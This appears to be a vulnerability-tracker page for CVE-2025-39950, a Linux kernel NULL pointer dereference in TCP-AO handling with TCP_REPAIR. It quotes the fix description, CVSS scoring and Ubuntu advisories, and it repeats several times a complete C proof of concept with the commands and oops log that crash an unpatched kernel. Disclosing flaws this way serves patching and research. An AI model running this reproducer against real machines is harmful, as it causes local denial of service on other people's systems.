CVE-2025-39950
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
Published Oct 4, 2025
CVSS 3.1 · 5.5 Medium
EPSS < 1%
KEV · Not listed
Description
In the Linux kernel, the following vulnerability has been resolved:
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
Affected Products
-
CVE record
-
NVD configurations
-
Red Hat packages
No data
-
OpenCVE enrichment
Default status is the baseline for the product, each version can override it (e.g. patched versions marked unaffected).
| Vendor | Product | Default status | Versions | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Linux | Linux | unaffected |
|
||||||||||||||||||
| Linux | Linux | affected |
|
Configuration 1 [-]
|
No data.
| Vendor | Product | Versions |
|---|---|---|
| Linux | Linux Kernel | — |
Remediation
Tracking
Advisories
| Source | ID | Title |
|---|---|---|
 EUVD |
EUVD-2025-32388 | In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) |
 Ubuntu USN |
USN-8095-1 | Linux kernel vulnerabilities |
| Ubuntu USN |
USN-8095-2 | Linux kernel (FIPS) vulnerabilities |
| Ubuntu USN |
USN-8100-1 | Linux kernel (NVIDIA) vulnerabilities |
| Ubuntu USN |
USN-8095-3 | Linux kernel (Real-time) vulnerabilities |
| Ubuntu USN |
USN-8095-4 | Linux kernel (AWS) vulnerabilities |
| Ubuntu USN |
USN-8125-1 | Linux kernel (Azure) vulnerabilities |
| Ubuntu USN |
USN-8126-1 | Linux kernel (Azure) vulnerabilities |
| Ubuntu USN |
USN-8095-5 | Linux kernel (Raspberry Pi) vulnerabilities |
| Ubuntu USN |
USN-8165-1 | Linux kernel (Azure FIPS) vulnerabilities |
| Ubuntu USN |
USN-8261-1 | Linux kernel (Xilinx) vulnerabilities |
Metrics
No CVSS v4.0
Attack Vector Local
Attack Complexity Low
Privileges Required Low
Scope Unchanged
Confidentiality Impact None
Integrity Impact None
Availability Impact High
User Interaction None
No CVSS v3.0
No CVSS v2
This CVE is not in the KEV list.
Exploit prediction score: < 1% (0.150% probability within 30 days)
Key SSVC decision points have not yet been added.
References
History
Jan 23, 2026 8:15 PM
Weaknesses updated. Affected versions updated. Scoring metrics updated
View changes
| Type | Values Removed | Values Added |
|---|---|---|
| Weaknesses | CWE-476 | |
| CPEs | cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:* cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:* |
|
| Metrics |
cvssV3_1
|
Oct 6, 2025 2:45 PM
First appearance in the feed. Affected vendors updated
View changes
| Type | Values Removed | Values Added |
|---|---|---|
| First Time appeared |
Linux
Linux linux Kernel |
|
| Vendors & Products |
Linux
Linux linux Kernel |
Oct 4, 2025 7:45 AM
Description updated. Title updated. Added references
View changes
| Type | Values Removed | Values Added |
|---|---|---|
| Description | In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) | |
| Title | net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR | |
| References |
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Subscriptions
Weaknesses
